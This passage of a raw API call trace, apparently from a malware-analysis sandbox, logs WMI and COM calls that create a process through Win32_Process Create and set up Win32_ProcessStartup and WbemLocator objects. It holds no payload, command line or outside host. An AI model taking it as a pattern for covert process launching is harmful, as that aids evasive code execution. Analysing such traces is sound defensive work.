puBuffLength=0x1b2fda08*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0061.405] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea1bb0, puCount=0x1b2fd950 | out: puCount=0x1b2fd950*=0x2) returned 0x0 [0061.405] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1bb0, lFlags=4, puBuffLength=0x1b2fd948*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd948*=0xf, pszText=0x0) returned 0x0 [0061.405] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1bb0, lFlags=4, puBuffLength=0x1b2fd948*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd948*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0061.405] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1c70, lFlags=2, puBuffLength=0x1b2fda18*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda18*=0xe, pszText=0x0) returned 0x0 [0061.405] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1c70, lFlags=2, puBuffLength=0x1b2fda18*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fda18*=0xe, pszText="Win32_Process") returned 0x0 [0061.405] IWbemServices:ExecMethod (in: This=0x1bed2a50, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x1beeb730, ppOutParams=0x1b2fd820*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1b2fd820*=0x1beed210, ppCallResult=0x0) returned 0x0 [0061.529] IWbemClassObject:Get (in: This=0x1beed210, wszName="ProcessId", lFlags=0, pVal=0x1b2fd978*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a60118*=0, plFlavor=0x2a6011c*=0 | out: pVal=0x1b2fd978*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xf0c, varVal2=0x0), pType=0x2a60118*=19, plFlavor=0x2a6011c*=0) returned 0x0 [0061.529] IWbemClassObject:Get (in: This=0x1beed210, wszName="ProcessId", lFlags=0, pVal=0x1b2fd988*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a60118*=19, plFlavor=0x2a6011c*=0 | out: pVal=0x1b2fd988*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xf0c, varVal2=0x0), pType=0x2a60118*=19, plFlavor=0x2a6011c*=0) returned 0x0 [0061.530] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fda18 | out: ppv=0x1b2fda18*=0x111f638) returned 0x0 [0061.531] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fda08 | out: pAptType=0x1b2fda08*=1) returned 0x0 [0061.531] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fda10 | out: ppvObject=0x1b2fda10*=0x0) returned 0x80004002 [0061.531] IUnknown:Release (This=0x111f638) returned 0x1 [0061.533] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce30 | out: ppv=0x1b2fce30*=0x11f8150) returned 0x0 [0061.533] WbemDefPath:IUnknown:QueryInterface (in: This=0x11f8150, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x0) returned 0x80004002 [0061.533] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11f8150, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce28 | out: ppvObject=0x1b2fce28*=0x119a6a0) returned 0x0 [0061.533] WbemDefPath:IUnknown:Release (This=0x11f8150) returned 0x0 [0061.534] WbemDefPath:IUnknown:QueryInterface (in: This=0x119a6a0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc38 | out: ppvObject=0x1b2fcc38*=0x119a6a0) returned 0x0 [0061.534] WbemDefPath:IUnknown:QueryInterface (in: This=0x119a6a0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcce0 | out: ppvObject=0x1b2fcce0*=0x0) returned 0x80004002 [0061.534] WbemDefPath:IUnknown:AddRef (This=0x119a6a0) returned 0x3 [0061.534] WbemDefPath:IUnknown:QueryInterface (in: This=0x119a6a0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc388 | out: ppvObject=0x1b2fc388*=0x0) returned 0x80004002 [0061.534] WbemDefPath:IUnknown:QueryInterface (in: This=0x119a6a0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc310 | out: ppvObject=0x1b2fc310*=0x0) returned 0x80004002 [0061.534] WbemDefPath:IUnknown:QueryInterface (in: This=0x119a6a0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc300 | out: ppvObject=0x1b2fc300*=0x11f8190) returned 0x0 [0061.534] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11f8190, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc328 | out: pCid=0x1b2fc328*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0061.534] WbemDefPath:IUnknown:Release (This=0x11f8190) returned 0x3 [0061.534] CoGetContextToken (in: pToken=0x1b2fc3b0 | out: pToken=0x1b2fc3b0) returned 0x0 [0061.535] CoGetContextToken (in: pToken=0x1b2fc830 | out: pToken=0x1b2fc830) returned 0x0 [0061.535] WbemDefPath:IUnknown:QueryInterface (in: This=0x119a6a0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc8f0 | out: ppvObject=0x1b2fc8f0*=0x0) returned 0x80004002 [0061.535] WbemDefPath:IUnknown:Release (This=0x119a6a0) returned 0x2 [0061.535] WbemDefPath:IUnknown:Release (This=0x119a6a0) returned 0x1 [0061.535] CoGetContextToken (in: pToken=0x1b2fd650 | out: pToken=0x1b2fd650) returned 0x0 [0061.535] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0061.535] WbemDefPath:IUnknown:QueryInterface (in: This=0x119a6a0, riid=0x1b2fd6b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd680 | out: ppvObject=0x1b2fd680*=0x119a6a0) returned 0x0 [0061.535] WbemDefPath:IUnknown:AddRef (This=0x119a6a0) returned 0x3 [0061.535] WbemDefPath:IUnknown:Release (This=0x119a6a0) returned 0x2 [0061.535] WbemDefPath:IWbemPath:SetText (This=0x119a6a0, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0061.535] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119a6a0, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0061.536] WbemDefPath:IWbemPath:GetText (in: This=0x119a6a0, lFlags=2, puBuffLength=0x1b2fda58*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda58*=0xe, pszText=0x0) returned 0x0 [0061.536] WbemDefPath:IWbemPath:GetText (in: This=0x119a6a0, lFlags=2, puBuffLength=0x1b2fda58*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fda58*=0xe, pszText="Win32_Process") returned 0x0 [0061.536] WbemDefPath:IWbemPath:GetInfo (in: This=0x119a6a0, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0061.536] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119a6a0, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0061.536] WbemDefPath:IWbemPath:GetInfo (in: This=0x119a6a0, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0061.536] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fda18 | out: ppv=0x1b2fda18*=0x111f638) returned 0x0 [0061.537] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fda08 | out: pAptType=0x1b2fda08*=1) returned 0x0 [0061.537] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fda10 | out: ppvObject=0x1b2fda10*=0x0) returned 0x80004002 [0061.537] IUnknown:Release (This=0x111f638) returned 0x1 [0061.538] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce30 | out: ppv=0x1b2fce30*=0x11f81d0) returned 0x0 [0061.539] WbemDefPath:IUnknown:QueryInterface (in: This=0x11f81d0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x0) returned 0x80004002 [0061.539] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11f81d0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce28 | out: ppvObject=0x1b2fce28*=0x119a760) returned 0x0 [0061.539] WbemDefPath:IUnknown:Release (This=0x11f81d0) returned 0x0 [0061.539] WbemDefPath:IUnknown:QueryInterface (in: This=0x119a760, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc38 | out: ppvObject=0x1b2fcc38*=0x119a760) returned 0x0 [0061.539] WbemDefPath:IUnknown:QueryInterface (in: This=0x119a760, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcce0 | out: ppvObject=0x1b2fcce0*=0x0) returned 0x80004002 [0061.539] WbemDefPath:IUnknown:AddRef (This=0x119a760) returned 0x3 [0061.539] WbemDefPath:IUnknown:QueryInterface (in: This=0x119a760, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc388 | out: ppvObject=0x1b2fc388*=0x0) returned 0x80004002 [0061.539] WbemDefPath:IUnknown:QueryInterface (in: This=0x119a760, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc310 | out: ppvObject=0x1b2fc310*=0x0) returned 0x80004002 [0061.539] WbemDefPath:IUnknown:QueryInterface (in: This=0x119a760, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc300 | out: ppvObject=0x1b2fc300*=0x11f8210) returned 0x0 [0061.539] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11f8210, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc328 | out: pCid=0x1b2fc328*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0061.539] WbemDefPath:IUnknown:Release (This=0x11f8210) returned 0x3 [0061.539] CoGetContextToken (in: pToken=0x1b2fc3b0 | out: pToken=0x1b2fc3b0) returned 0x0 [0061.539] CoGetContextToken (in: pToken=0x1b2fc830 | out: pToken=0x1b2fc830) returned 0x0 [0061.539] WbemDefPath:IUnknown:QueryInterface (in: This=0x119a760, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc8f0 | out: ppvObject=0x1b2fc8f0*=0x0) returned 0x80004002 [0061.540] WbemDefPath:IUnknown:Release (This=0x119a760) returned 0x2 [0061.540] WbemDefPath:IUnknown:Release (This=0x119a760) returned 0x1 [0061.540] CoGetContextToken (in: pToken=0x1b2fd650 | out: pToken=0x1b2fd650) returned 0x0 [0061.540] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0061.540] WbemDefPath:IUnknown:QueryInterface (in: This=0x119a760, riid=0x1b2fd6b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd680 | out: ppvObject=0x1b2fd680*=0x119a760) returned 0x0 [0061.540] WbemDefPath:IUnknown:AddRef (This=0x119a760) returned 0x3 [0061.540] WbemDefPath:IUnknown:Release (This=0x119a760) returned 0x2 [0061.540] WbemDefPath:IWbemPath:SetText (This=0x119a760, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0061.540] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119a760, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0061.540] WbemDefPath:IWbemPath:GetText (in: This=0x119a760, lFlags=2, puBuffLength=0x1b2fda58*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda58*=0x15, pszText=0x0) returned 0x0 [0061.540] WbemDefPath:IWbemPath:GetText (in: This=0x119a760, lFlags=2, puBuffLength=0x1b2fda58*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b2fda58*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0061.540] WbemDefPath:IWbemPath:GetInfo (in: This=0x119a760, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0061.540] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119a760, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0061.540] WbemDefPath:IWbemPath:GetInfo (in: This=0x119a760, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0061.540] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119a760, puCount=0x1b2fd9c0 | out: puCount=0x1b2fd9c0*=0x0) returned 0x0 [0061.540] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169200, puCount=0x1b2fd980 | out: puCount=0x1b2fd980*=0x2) returned 0x0 [0061.540] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd978*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd978*=0xf, pszText=0x0) returned 0x0 [0061.540] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd978*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd978*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0061.540] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8d8 | out: ppv=0x1b2fd8d8*=0x111f638) returned 0x0 [0061.540] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8c8 | out: pAptType=0x1b2fd8c8*=1) returned 0x0 [0061.540] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8d0 | out: ppvObject=0x1b2fd8d0*=0x0) returned 0x80004002 [0061.540] IUnknown:Release (This=0x111f638) returned 0x1 [0061.542] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fccf0 | out: ppv=0x1b2fccf0*=0x11f8250) returned 0x0 [0061.542] WbemDefPath:IUnknown:QueryInterface (in: This=0x11f8250, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd38 | out: ppvObject=0x1b2fcd38*=0x0) returned 0x80004002 [0061.542] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11f8250, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcce8 | out: ppvObject=0x1b2fcce8*=0x119a820) returned 0x0 [0061.542] WbemDefPath:IUnknown:Release (This=0x11f8250) returned 0x0 [0061.542] WbemDefPath:IUnknown:QueryInterface (in: This=0x119a820, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcaf8 | out: ppvObject=0x1b2fcaf8*=0x119a820) returned 0x0 [0061.542] WbemDefPath:IUnknown:QueryInterface (in: This=0x119a820, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcba0 | out: ppvObject=0x1b2fcba0*=0x0) returned 0x80004002 [0061.543] WbemDefPath:IUnknown:AddRef (This=0x119a820) returned 0x3 [0061.543] WbemDefPath:IUnknown:QueryInterface (in: This=0x119a820, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc248 | out: ppvObject=0x1b2fc248*=0x0) returned 0x80004002 [0061.543] WbemDefPath:IUnknown:QueryInterface (in: This=0x119a820, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc1d0 | out: ppvObject=0x1b2fc1d0*=0x0) returned 0x80004002 [0061.543] WbemDefPath:IUnknown:QueryInterface (in: This=0x119a820, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc1c0 | out: ppvObject=0x1b2fc1c0*=0x11f8290) returned 0x0 [0061.543] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11f8290, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc1e8 | out: pCid=0x1b2fc1e8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0061.543] WbemDefPath:IUnknown:Release (This=0x11f8290) returned 0x3 [0061.543] CoGetContextToken (in: pToken=0x1b2fc270 | out: pToken=0x1b2fc270) returned 0x0 [0061.543] CoGetContextToken (in: pToken=0x1b2fc6f0 | out: pToken=0x1b2fc6f0) returned 0x0 [0061.543] WbemDefPath:IUnknown:QueryInterface (in: This=0x119a820, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc7b0 | out: ppvObject=0x1b2fc7b0*=0x0) returned 0x80004002 [0061.543] WbemDefPath:IUnknown:Release (This=0x119a820) returned 0x2 [0061.543] WbemDefPath:IUnknown:Release (This=0x119a820) returned 0x1 [0061.543] CoGetContextToken (in: pToken=0x1b2fd510 | out: pToken=0x1b2fd510) returned 0x0 [0061.543] CoGetContextToken (in: pToken=0x1b2fd410 | out: pToken=0x1b2fd410) returned 0x0 [0061.543] WbemDefPath:IUnknown:QueryInterface (in: This=0x119a820, riid=0x1b2fd570*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd540 | out: ppvObject=0x1b2fd540*=0x119a820) returned 0x0 [0061.543] WbemDefPath:IUnknown:AddRef (This=0x119a820) returned 0x3 [0061.543] WbemDefPath:IUnknown:Release (This=0x119a820) returned 0x2 [0061.543] WbemDefPath:IWbemPath:SetText (This=0x119a820, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0061.543] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119a820, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0061.543] WbemDefPath:IWbemPath:GetText (in: This=0x119a820, lFlags=4, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0061.543] WbemDefPath:IWbemPath:GetText (in: This=0x119a820, lFlags=4, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0061.543] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd968 | out: ppv=0x1b2fd968*=0x111f638) returned 0x0 [0061.543] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd958 | out: pAptType=0x1b2fd958*=1) returned 0x0 [0061.544] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd960 | out: ppvObject=0x1b2fd960*=0x0) returned 0x80004002 [0061.544] IUnknown:Release (This=0x111f638) returned 0x1 [0061.544] CoGetClassObject (in: rclsid=0x11a5298*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcf10 | out: ppv=0x1b2fcf10*=0x11f8390) returned 0x0 [0061.545] WbemLocator:IUnknown:QueryInterface (in: This=0x11f8390, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcf58 | out: ppvObject=0x1b2fcf58*=0x0) returned 0x80004002 [0061.545] WbemLocator:IClassFactory:CreateInstance (in: This=0x11f8390, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcf08 | out: ppvObject=0x1b2fcf08*=0x11f83b0) returned 0x0 [0061.545] WbemLocator:IUnknown:Release (This=0x11f8390) returned 0x0 [0061.545] WbemLocator:IUnknown:QueryInterface (in: This=0x11f83b0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, 